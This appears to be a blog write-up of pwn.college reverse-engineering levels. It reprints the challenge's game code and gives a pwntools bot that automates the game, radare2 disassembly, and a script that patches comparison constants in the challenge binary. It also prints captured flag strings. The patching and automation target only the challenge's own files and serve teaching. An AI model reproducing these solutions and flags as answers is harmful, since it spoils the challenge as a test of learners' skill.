Hello Navi

Tech, Security & Personal Notes

Patching Control Flow

This level is trickier: you’ll need to patch slightly trickier instructions. This gets you much closer to real patching for interoperability!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

import termios
import random
import struct
import string
import sys
import os


class CIMG_NORMAL:
MAGIC = b"cIMG"
RENDER_FRAME = struct.pack("<H", 1)
RENDER_PATCH = struct.pack("<H", 2)
CREATE_SPRITE = struct.pack("<H", 3)
RENDER_SPRITE = struct.pack("<H", 4)
LOAD_SPRITE = struct.pack("<H", 5)
FLUSH = struct.pack("<H", 6)
SLEEP = struct.pack("<H", 7)

class CIMG_1337:
MAGIC = b"CNNR"
RENDER_FRAME = struct.pack("<H", 7)
RENDER_PATCH = struct.pack("<H", 6)
CREATE_SPRITE = struct.pack("<H", 5)
RENDER_SPRITE = struct.pack("<H", 4)
LOAD_SPRITE = struct.pack("<H", 3)
FLUSH = struct.pack("<H", 2)
SLEEP = struct.pack("<H", 1)

class GraphicsEngine:
def __init__(self, width, height, cimg_version=4, cimg_ops=CIMG_1337):
self.num_sprites = 0
self.ops = cimg_ops
self.width = width
self.height = height
self.output = os.fdopen(1, 'wb', buffering=0)

self.output.write(
self.ops.MAGIC +
struct.pack("<H", cimg_version) +
bytes([width, height]) +
b"\xff\xff\xff\xff"
)

def render_frame_monochrome(self, lines, r=0xff, g=0xc6, b=0x27):
self.output.write(
self.ops.RENDER_FRAME +
b"".join(bytes([r, g, b, c]) for c in b"".join(lines))
)

def render_patch_monochrome(self, lines, x, y, r=0xff, g=0xc6, b=0x27):
assert all(b >= 20 and b <= 0x7e for b in b"".join(lines))
self.output.write(
self.ops.RENDER_PATCH +
bytes([x, y, len(lines[0]), len(lines)]) +
b"".join(bytes([r, g, b, c]) for c in b"".join(lines))
)

def create_sprite(self, lines, num=None):
if num is None:
num = self.num_sprites
self.num_sprites += 1

self.output.write(
self.ops.CREATE_SPRITE +
bytes([num, len(lines[0]), len(lines)]) +
b"".join(lines)
)
return num

def render_sprite(self, num, x, y, tile_x=1, tile_y=1, r=0x8c, g=0x1d, b=0x40, t=" "):
self.output.write(
self.ops.RENDER_SPRITE + bytes([num, r, g, b, x, y, tile_x, tile_y, ord(t)])
)

def flush(self, clear=True):
self.output.write(self.ops.FLUSH + bytes([clear]))

def sleep(self, ms):
self.output.write(self.ops.SLEEP + struct.pack("<I", ms))

def blank(self):
self.render_patch_monochrome([ b" "*self.width ]*self.height, 1, 1)
self.flush()

def animate_text(self, text, x, y, r=None, g=None, b=None, interval=20):
for i,c in enumerate(text):
self.render_patch_monochrome(
[bytes([ord(c)])], x+i, y,
r=random.randrange(128, 256) if r is None else r,
g=random.randrange(128, 256) if g is None else g,
b=random.randrange(128, 256) if b is None else b
)
self.flush()
self.sleep(interval)

class InputEngine:
# adapted from https://github.com/magmax/python-readchar/blob/master/readchar/_posix_read.py
@staticmethod
def readchar():
fd = sys.stdin.fileno()
old_settings = termios.tcgetattr(fd)
term = termios.tcgetattr(fd)
try:
term[3] &= ~(termios.ICANON | termios.ECHO | termios.IGNBRK | termios.BRKINT)
termios.tcsetattr(fd, termios.TCSAFLUSH, term)
return sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)

def game():
w = 70
h = 20
x = random.randrange(w)
y = random.randrange(h)

victory = False

kb = InputEngine()
screen = GraphicsEngine(w, h, cimg_ops=CIMG_NORMAL if "NOFLAG" in sys.argv else CIMG_1337)
our_sprite = screen.create_sprite([ b"\\o/", b" ^ "])

screen.render_frame_monochrome([ b"#"*(w) ]*(h), r=255, g=255, b=255)
screen.render_patch_monochrome([ b" "*(w-2) ]*(h-2), 1, 1)
screen.flush()

screen.animate_text("WELCOME TO THE EPIC QUEST FOR THE FLAG", 4, 4)
screen.animate_text("INSTRUCTIONS:", 4, 10)
screen.animate_text("- w: UP", 4, 11)
screen.animate_text("- a: LEFT", 4, 12)
screen.animate_text("- s: DOWN", 4, 13)
screen.animate_text("- d: RIGHT", 4, 14)
screen.animate_text("- q: QUIT", 4, 15)
screen.animate_text("- l: LOOK", 4, 16)
screen.animate_text("YOUR GOAL: UNCOVER THE FLAG", 4, 17)
screen.animate_text("PRESS ANY KEY TO BEGIN", 8, 18)
if kb.readchar() in ("q", "\x03"):
return

screen.blank()

try:
if "NOFLAG" in sys.argv:
flag = b"TEST"
else:
flag = open("/flag", "rb").read().strip()
except FileNotFoundError:
flag = b"ERROR: /flag NOT FOUND"
except PermissionError:
flag = b"ERROR: /flag permission denied"

hidden_bytes = [ bytes([b]) for b in flag ][::-1]

hidden_x = random.randrange(w)
hidden_y = random.randrange(h)
revealed_bytes = [ ]

bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
while bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)

key = ""
while True:
# quit on q or ctrl-c
if key == "q" or key == "\x03":
break

# move
if key == "w": y = (y-1)%h
if key == "a": x = (x-1)%w
if key == "s": y = (y+1)%h
if key == "d": x = (x+1)%w

# check bomb
if bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
screen.blank()
screen.animate_text("~~~~~ BOOOOOOOOM ~~~~~~", x, y)
break

# uncover flag
if hidden_bytes and key == "l" and hidden_x in (x, x+1, x+2) and hidden_y in (y, y+1):
revealed_bytes.append([
hidden_x, hidden_y,
random.randrange(128, 256), random.randrange(128, 256), random.randrange(128, 256),
hidden_bytes.pop()
])
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
while bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
prev_hidden_x = hidden_x
prev_hidden_y = hidden_y
while hidden_x == prev_hidden_x and hidden_y == prev_hidden_y:
hidden_x = (bomb_x+random.randrange(w-1))%w
hidden_y = (bomb_y+random.randrange(h-1))%h

# render everyone
screen.blank()
correct_bytes = ''
for rx,ry,r,g,b,c in revealed_bytes:
screen.render_patch_monochrome([c], rx, ry, r=r, g=g, b=b)
correct_bytes += str(c.decode())
if hidden_bytes:
screen.render_patch_monochrome(
[b"?"], hidden_x, hidden_y,
r=random.randrange(256), g=random.randrange(256), b=random.randrange(256)
)
else:
try:
while True:
screen.animate_text("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!", 10, hidden_y)
screen.animate_text("!!! CONGRATULATIONS, YOU DID IT !!!", 10, hidden_y + 1)
screen.animate_text(correct_bytes, 10, hidden_y + 2)
screen.animate_text("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!", 10, hidden_y + 1)
except KeyboardInterrupt:
print(flag.decode(), file=sys.stderr) # Print decoded flag to stderr
break

screen.render_patch_monochrome([b"B"], bomb_x, bomb_y)
screen.render_sprite(our_sprite, x, y)
screen.flush()

key = kb.readchar()

if __name__ == "__main__":
game()

bypass with the code used in prev challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
import struct
import subprocess

from pwn import *


def solve(known_flag):
try:
# PTY 欺骗 termios,PIPE 保证二进制流纯净
p = process(
["/challenge/quest.py"],
stdin=process.PTY,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
except Exception as e:
return known_flag

try:
p.recvn(12) # 魔数
except EOFError:
return known_flag

state = {
"px": -1,
"py": -1,
"hx": -1,
"hy": -1,
"bx": -1,
"by": -1,
"frame_flag": "",
}

def parse_frame():
state["px"] = state["bx"] = state["hx"] = -1
frame_chars = ""
saw_player = False

while True:
try:
# 超时阻断,防止卡在输入缓冲区死锁
if not p.can_recv(timeout=0.2):
return "TIMEOUT"

op_bytes = p.recvn(2)
if not op_bytes:
return False
op = struct.unpack("<H", op_bytes)[0]
except EOFError:
return False

if op == 7: # RENDER_FRAME
p.recvn(70 * 20 * 4)
elif op == 6: # RENDER_PATCH
px, py, pw, ph = struct.unpack("<BBBB", p.recvn(4))
pixels = p.recvn(pw * ph * 4)
if pw == 1 and ph == 1:
# 获取 RGB 和 字符
r_col, g_col, b_col, c = pixels[0], pixels[1], pixels[2], pixels[3]
if c == ord("?"):
state["hx"], state["hy"] = px, py
elif c == ord("B") and r_col == 0xff and g_col == 0xc6 and b_col == 0x27:
# 只有黄色 (255, 198, 39) 的 B 才是炸弹, Flag may be B
state["bx"], state["by"] = px, py
elif chr(c) not in (" ", "!", "#"):
frame_chars += chr(c)
elif op == 5: # CREATE_SPRITE
s_id, sw, sh = struct.unpack("<BBB", p.recvn(3))
p.recvn(sw * sh)
elif op == 4: # RENDER_SPRITE
num, r, g, b, px, py, tx, ty, tc = struct.unpack(
"<BBBBBBBBB", p.recvn(9)
)
if num == 0:
state["px"], state["py"] = px, py
saw_player = True
elif op == 2: # FLUSH (当前帧渲染完毕)
p.recvn(1)
if saw_player or "pwn.college" in frame_chars:
state["frame_flag"] = frame_chars
return True
elif op == 1: # SLEEP
p.recvn(4)
else:
return False
def get_best_move(px, py, hx, hy, bx, by):
"""BFS 最短路径寻路"""
queue = [(px, py, [])]
visited = set([(px, py)])
while queue:
cx, cy, path = queue.pop(0)

# 3x2 bounding box
if hx in (cx, cx + 1, cx + 2) and hy in (cy, cy + 1):
return path[0] if path else "l"

for key, dx, dy in [("w", 0, -1), ("s", 0, 1), ("a", -1, 0), ("d", 1, 0)]:
# Toroidal Map Wrapping
nx, ny = (cx + dx) % 70, (cy + dy) % 20
# boom here
if not (bx in (nx, nx + 1, nx + 2) and by in (ny, ny + 1)):
if (nx, ny) not in visited:
visited.add((nx, ny))
queue.append((nx, ny, path + [key]))
return "SOFTLOCK"

while True:
res = parse_frame()

if res == "TIMEOUT":
p.send(b" ")
continue

if not res:
p.close()
break

# 增量比对:只在提取进度超越已知记录时才打印
if state["frame_flag"] and len(state["frame_flag"]) > len(known_flag):
known_flag = state["frame_flag"]
print(f"[+] Extracted so far: {known_flag}")
if known_flag.endswith("}"):
p.close()
return known_flag

if state["px"] != -1 and state["bx"] != -1 and state["hx"] != -1:
move = get_best_move(
state["px"],
state["py"],
state["hx"],
state["hy"],
state["bx"],
state["by"],
)
if move == "SOFTLOCK":
print(
f"[*] Soft-lock detected at Target ({state['hx']:02d},{state['hy']:02d}). "
)
p.close()
return known_flag
p.send(move.encode())
return known_flag


if __name__ == "__main__":
print("START")
current_flag = ""
while True:
current_flag = solve(current_flag)
pwn.college{gYs8nkSujIlpvBgfSQmylAnZ9KE.QX0IzMwEDL4cjM1gzW}

Patching Code

The previous level was lucky — no actual code had to be patched. This level will be your first foray into binary patching at the code level, but the only things you’ll need to patch will be simple constants used by x86 comparison instructions. Good luck!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
class CIMG_NORMAL:
MAGIC = b"cIMG"
RENDER_FRAME = struct.pack("<H", 1)
RENDER_PATCH = struct.pack("<H", 2)
CREATE_SPRITE = struct.pack("<H", 3)
RENDER_SPRITE = struct.pack("<H", 4)
LOAD_SPRITE = struct.pack("<H", 5)
FLUSH = struct.pack("<H", 6)
SLEEP = struct.pack("<H", 7)

class CIMG_1337:
MAGIC = b"CNNR"
RENDER_FRAME = struct.pack("<H", 7)
RENDER_PATCH = struct.pack("<H", 6)
CREATE_SPRITE = struct.pack("<H", 5)
RENDER_SPRITE = struct.pack("<H", 4)
LOAD_SPRITE = struct.pack("<H", 3)
FLUSH = struct.pack("<H", 2)
SLEEP = struct.pack("<H", 1)

class GraphicsEngine:
def __init__(self, width, height, cimg_version=4, cimg_ops=CIMG_1337):
self.num_sprites = 0
self.ops = cimg_ops
self.width = width
self.height = height
self.output = os.fdopen(1, 'wb', buffering=0)

self.output.write(
self.ops.MAGIC +
struct.pack("<H", cimg_version) +
bytes([width, height]) +
b"\xff\xff\xff\xff"
)

def render_frame_monochrome(self, lines, r=0xff, g=0xc6, b=0x27):
self.output.write(
self.ops.RENDER_FRAME +
b"".join(bytes([r, g, b, c]) for c in b"".join(lines))
)

def render_patch_monochrome(self, lines, x, y, r=0xff, g=0xc6, b=0x27):
assert all(b >= 20 and b <= 0x7e for b in b"".join(lines))
self.output.write(
self.ops.RENDER_PATCH +
bytes([x, y, len(lines[0]), len(lines)]) +
b"".join(bytes([r, g, b, c]) for c in b"".join(lines))
)

def create_sprite(self, lines, num=None):
if num is None:
num = self.num_sprites
self.num_sprites += 1

self.output.write(
self.ops.CREATE_SPRITE +
bytes([num, len(lines[0]), len(lines)]) +
b"".join(lines)
)
return num

def render_sprite(self, num, x, y, tile_x=1, tile_y=1, r=0x8c, g=0x1d, b=0x40, t=" "):
self.output.write(
self.ops.RENDER_SPRITE + bytes([num, r, g, b, x, y, tile_x, tile_y, ord(t)])
)

def flush(self, clear=True):
self.output.write(self.ops.FLUSH + bytes([clear]))

def sleep(self, ms):
self.output.write(self.ops.SLEEP + struct.pack("<I", ms))

def blank(self):
self.render_patch_monochrome([ b" "*self.width ]*self.height, 1, 1)
self.flush()

def animate_text(self, text, x, y, r=None, g=None, b=None, interval=20):
for i,c in enumerate(text):
self.render_patch_monochrome(
[bytes([ord(c)])], x+i, y,
r=random.randrange(128, 256) if r is None else r,
g=random.randrange(128, 256) if g is None else g,
b=random.randrange(128, 256) if b is None else b
)
self.flush()
self.sleep(interval)

class InputEngine:
# adapted from https://github.com/magmax/python-readchar/blob/master/readchar/_posix_read.py
@staticmethod
def readchar():
fd = sys.stdin.fileno()
old_settings = termios.tcgetattr(fd)
term = termios.tcgetattr(fd)
try:
term[3] &= ~(termios.ICANON | termios.ECHO | termios.IGNBRK | termios.BRKINT)
termios.tcsetattr(fd, termios.TCSAFLUSH, term)
return sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)

def game():
w = 70
h = 20
x = random.randrange(w)
y = random.randrange(h)

victory = False

kb = InputEngine()
screen = GraphicsEngine(w, h, cimg_ops=CIMG_NORMAL if "NOFLAG" in sys.argv else CIMG_1337)
our_sprite = screen.create_sprite([ b"\\o/", b" ^ "])

screen.render_frame_monochrome([ b"#"*(w) ]*(h), r=255, g=255, b=255)
screen.render_patch_monochrome([ b" "*(w-2) ]*(h-2), 1, 1)
screen.flush()

screen.animate_text("WELCOME TO THE EPIC QUEST FOR THE FLAG", 4, 4)
screen.animate_text("INSTRUCTIONS:", 4, 10)
screen.animate_text("- w: UP", 4, 11)
screen.animate_text("- a: LEFT", 4, 12)
screen.animate_text("- s: DOWN", 4, 13)
screen.animate_text("- d: RIGHT", 4, 14)
screen.animate_text("- q: QUIT", 4, 15)
screen.animate_text("- l: LOOK", 4, 16)
screen.animate_text("YOUR GOAL: UNCOVER THE FLAG", 4, 17)
screen.animate_text("PRESS ANY KEY TO BEGIN", 8, 18)
if kb.readchar() in ("q", "\x03"):
return

screen.blank()

try:
if "NOFLAG" in sys.argv:
flag = b"TEST"
else:
flag = open("/flag", "rb").read().strip()
except FileNotFoundError:
flag = b"ERROR: /flag NOT FOUND"
except PermissionError:
flag = b"ERROR: /flag permission denied"

hidden_bytes = [ bytes([b]) for b in flag ][::-1]

hidden_x = random.randrange(w)
hidden_y = random.randrange(h)
revealed_bytes = [ ]

bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
while bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)

key = ""
while True:
# quit on q or ctrl-c
if key == "q" or key == "\x03":
break

# move
if key == "w": y = (y-1)%h
if key == "a": x = (x-1)%w
if key == "s": y = (y+1)%h
if key == "d": x = (x+1)%w

# check bomb
if bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
screen.blank()
screen.animate_text("~~~~~ BOOOOOOOOM ~~~~~~", x, y)
break

# uncover flag
if hidden_bytes and key == "l" and hidden_x in (x, x+1, x+2) and hidden_y in (y, y+1):
revealed_bytes.append([
hidden_x, hidden_y,
random.randrange(128, 256), random.randrange(128, 256), random.randrange(128, 256),
hidden_bytes.pop()
])
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
while bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
prev_hidden_x = hidden_x
prev_hidden_y = hidden_y
while hidden_x == prev_hidden_x and hidden_y == prev_hidden_y:
hidden_x = (bomb_x+random.randrange(w-1))%w
hidden_y = (bomb_y+random.randrange(h-1))%h

# render everyone
screen.blank()
correct_bytes = ''
for rx,ry,r,g,b,c in revealed_bytes:
screen.render_patch_monochrome([c], rx, ry, r=r, g=g, b=b)
correct_bytes += str(c.decode())
if hidden_bytes:
screen.render_patch_monochrome(
[b"?"], hidden_x, hidden_y,
r=random.randrange(256), g=random.randrange(256), b=random.randrange(256)
)
else:
try:
while True:
screen.animate_text("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!", 10, hidden_y)
screen.animate_text("!!! CONGRATULATIONS, YOU DID IT !!!", 10, hidden_y + 1)
screen.animate_text(correct_bytes, 10, hidden_y + 2)
screen.animate_text("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!", 10, hidden_y + 1)
except KeyboardInterrupt:
print(flag.decode(), file=sys.stderr) # Print decoded flag to stderr
break

screen.render_patch_monochrome([b"B"], bomb_x, bomb_y)
screen.render_sprite(our_sprite, x, y)
screen.flush()

key = kb.readchar()

if __name__ == "__main__":
game()

所有指令的 Opcode 倒序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class CIMG_NORMAL:
RENDER_FRAME = 1
RENDER_PATCH = 2
CREATE_SPRITE = 3
RENDER_SPRITE = 4
LOAD_SPRITE = 5
FLUSH = 6
SLEEP = 7

class CIMG_1337:
RENDER_FRAME = 7
RENDER_PATCH = 6
CREATE_SPRITE = 5
RENDER_SPRITE = 4 # not changed
LOAD_SPRITE = 3
FLUSH = 2
SLEEP = 1

check the /challenge/cimg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
r2 -A -q -c "pdf @ main" /challenge/cimg | grep -E "cmp.*(1|2|3|4|5|6|7)" -A 1

WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Use -AA or aaaa to perform additional experimental analysis
│ │ 0x00401323 e8f8feffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
│ │ 0x00401328 85c0 test eax, eax
--
│ │ 0x0040137f e8fcfdffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
│ │ 0x00401384 85c0 test eax, eax
--
│ ╎ ╎└─> 0x0040139c 66837c241404 cmp word [var_14h], 4
│ ╎ ╎ 0x004013a2 488d3d721f.. lea rdi, str.ERROR:_Unsupported_version_ ; 0x40331b ; "ERROR: Unsupported version!"
--
│ ╎╎╎╎╎╎╎ 0x004013ea 6683f901 cmp cx, 1 ; 1
│ ────────< 0x004013ee 750a jne 0x4013fa
--
│ ────────> 0x004013fa 6683f902 cmp cx, 2 ; 2
│ ────────< 0x004013fe 750a jne 0x40140a
--
│ ────────> 0x0040140a 6683f903 cmp cx, 3 ; 3
│ ┌───────< 0x0040140e 750a jne 0x40141a
--
│ └───────> 0x0040141a 6683f904 cmp cx, 4 ; 4
│ ┌──────< 0x0040141e 750a jne 0x40142a
--
│ └──────> 0x0040142a 6683f905 cmp cx, 5 ; 5
│ ┌─────< 0x0040142e 750d jne 0x40143d
--
│ └─────> 0x0040143d 6683f906 cmp cx, 6 ; 6
│ ╎┌───< 0x00401441 750d jne 0x401450
--
│ ╎└───> 0x00401450 6683f907 cmp cx, 7 ; 7
│ ╎ ┌──< 0x00401454 750d jne 0x401463
1
0x004013ea     6683f901      cmp cx, 1
  • 66:操作数大小重写前缀(告诉 CPU 我们在比较 16 位的 cx,而不是 32 位的 ecx)。
  • 83 f9:这是 cmp cx, 立即数 的操作码。
  • 01要修改的目标常量

所以,这条指令的起始内存地址是 0x004013ea,而那个常量 01 所在的具体内存地址是 0x004013ea + 3 = 0x004013ed

在标准的非 PIE(位置无关可执行文件)ELF 二进制中,代码段默认被加载到基址(Base Address)0x400000。 这就意味着:物理文件偏移 (File Offset) = 虚拟内存地址 (VMA) - 0x400000

按照咱们之前整理的倒序映射逻辑 (1->7, 2->6, 3->5, 5->3, 6->2, 7->1),我们可以精确算出需要 Patch 的物理文件偏移:

  • cmp cx, 1 (0x4013ea) -> 常量偏移 0x13ed -> 改为 07
  • cmp cx, 2 (0x4013fa) -> 常量偏移 0x13fd -> 改为 06
  • cmp cx, 3 (0x40140a) -> 常量偏移 0x140d -> 改为 05
  • cmp cx, 5 (0x40142a) -> 常量偏移 0x142d -> 改为 03
  • cmp cx, 6 (0x40143d) -> 常量偏移 0x1440 -> 改为 02
  • cmp cx, 7 (0x401450) -> 常量偏移 0x1453 -> 改为 01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import os

def patch_binary():
with open("/challenge/cimg", "rb") as f:
# bytearray 允许我们在内存中直接原地修改字节
data = bytearray(f.read())

# 1. Data-Level Patch: 替换魔数
magic_idx = data.find(b"cIMG")
if magic_idx != -1:
data[magic_idx:magic_idx+4] = b"CNNR"
print("[+] Magic number patched to CNNR.")

# 2. 替换 x86 cmp 指令的立即数
patches = {
0x13ed: 7, # 1 -> 7
0x13fd: 6, # 2 -> 6
0x140d: 5, # 3 -> 5
# 0x141d: 4 # 4 不变,跳过
0x142d: 3, # 5 -> 3
0x1440: 2, # 6 -> 2
0x1453: 1, # 7 -> 1
}

for offset, new_val in patches.items():
old_val = data[offset]
data[offset] = new_val
print(f"[+] Patched offset 0x{offset:04x}: {old_val} -> {new_val}")

# 3. 写入新的可执行文件
patched_bin = "patched_cimg"
with open(patched_bin, "wb") as f:
f.write(data)

# 赋予执行权限
os.chmod(patched_bin, 0o755)
print(f"\n[+] Surgery complete! Engine compiled: ./{patched_bin}")

if __name__ == "__main__":
patch_binary()

or

我们只需要在原来的 arch_bot.py 里做一点微小的外科手术:把解析 Opcode 的那几个 if 分支,按照 quest.py 里的魔改逻辑倒过来(1变7,2变6,3变5,6变2,7变1,4不变)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
import struct
import subprocess

from pwn import *


def solve(known_flag):
try:
# PTY 欺骗 termios,PIPE 保证二进制流纯净
p = process(
["/challenge/quest.py"],
stdin=process.PTY,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
except Exception as e:
return known_flag

try:
p.recvn(12) # 魔数
except EOFError:
return known_flag

state = {
"px": -1,
"py": -1,
"hx": -1,
"hy": -1,
"bx": -1,
"by": -1,
"frame_flag": "",
}

def parse_frame():
state["px"] = state["bx"] = state["hx"] = -1
frame_chars = ""
saw_player = False

while True:
try:
# 超时阻断,防止卡在输入缓冲区死锁
if not p.can_recv(timeout=0.2):
return "TIMEOUT"

op_bytes = p.recvn(2)
if not op_bytes:
return False
op = struct.unpack("<H", op_bytes)[0]
except EOFError:
return False

if op == 7: # RENDER_FRAME
p.recvn(70 * 20 * 4)
elif op == 6: # RENDER_PATCH
px, py, pw, ph = struct.unpack("<BBBB", p.recvn(4))
pixels = p.recvn(pw * ph * 4)
if pw == 1 and ph == 1:
# 获取 RGB 和 字符
r_col, g_col, b_col, c = pixels[0], pixels[1], pixels[2], pixels[3]
if c == ord("?"):
state["hx"], state["hy"] = px, py
elif c == ord("B") and r_col == 0xff and g_col == 0xc6 and b_col == 0x27:
# 只有黄色 (255, 198, 39) 的 B 才是炸弹, Flag may be B
state["bx"], state["by"] = px, py
elif chr(c) not in (" ", "!", "#"):
frame_chars += chr(c)
elif op == 5: # CREATE_SPRITE
s_id, sw, sh = struct.unpack("<BBB", p.recvn(3))
p.recvn(sw * sh)
elif op == 4: # RENDER_SPRITE
num, r, g, b, px, py, tx, ty, tc = struct.unpack(
"<BBBBBBBBB", p.recvn(9)
)
if num == 0:
state["px"], state["py"] = px, py
saw_player = True
elif op == 2: # FLUSH (当前帧渲染完毕)
p.recvn(1)
if saw_player or "pwn.college" in frame_chars:
state["frame_flag"] = frame_chars
return True
elif op == 1: # SLEEP
p.recvn(4)
else:
return False
def get_best_move(px, py, hx, hy, bx, by):
"""BFS 最短路径寻路"""
queue = [(px, py, [])]
visited = set([(px, py)])
while queue:
cx, cy, path = queue.pop(0)

# 3x2 bounding box
if hx in (cx, cx + 1, cx + 2) and hy in (cy, cy + 1):
return path[0] if path else "l"

for key, dx, dy in [("w", 0, -1), ("s", 0, 1), ("a", -1, 0), ("d", 1, 0)]:
# Toroidal Map Wrapping
nx, ny = (cx + dx) % 70, (cy + dy) % 20
# boom here
if not (bx in (nx, nx + 1, nx + 2) and by in (ny, ny + 1)):
if (nx, ny) not in visited:
visited.add((nx, ny))
queue.append((nx, ny, path + [key]))
return "SOFTLOCK"

while True:
res = parse_frame()

if res == "TIMEOUT":
p.send(b" ")
continue

if not res:
p.close()
break

# 增量比对:只在提取进度超越已知记录时才打印
if state["frame_flag"] and len(state["frame_flag"]) > len(known_flag):
known_flag = state["frame_flag"]
print(f"[+] Extracted so far: {known_flag}")
if known_flag.endswith("}"):
p.close()
return known_flag

if state["px"] != -1 and state["bx"] != -1 and state["hx"] != -1:
move = get_best_move(
state["px"],
state["py"],
state["hx"],
state["hy"],
state["bx"],
state["by"],
)
if move == "SOFTLOCK":
print(
f"[*] Soft-lock detected at Target ({state['hx']:02d},{state['hy']:02d}). "
)
p.close()
return known_flag
p.send(move.encode())
return known_flag


if __name__ == "__main__":
print("START")
current_flag = ""
while True:
current_flag = solve(current_flag)
pwn.college{UQiZnG5aDyBxJ26_n3xJLkCeLWB.QXzIzMwEDL4cjM1gzW}

Input Restrictions (Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def main():
if len(sys.argv) >= 2:
path = sys.argv[1]
assert path.endswith(".cimg"), "ERROR: file has incorrect extension"
file = open(path, "rb")
else:
file = sys.stdin.buffer

header = file.read1(9)
assert len(header) == 9, "ERROR: Failed to read header!"

assert header[:4] == b"cIMG", "ERROR: Invalid magic number!"

assert int.from_bytes(header[4:5], "little") == 1, "ERROR: Invalid version!"

width = int.from_bytes(header[5:7], "little")
assert width == 71, "ERROR: Incorrect width!"

height = int.from_bytes(header[7:9], "little")
assert height == 21, "ERROR: Incorrect height!"

data = file.read1(width * height)
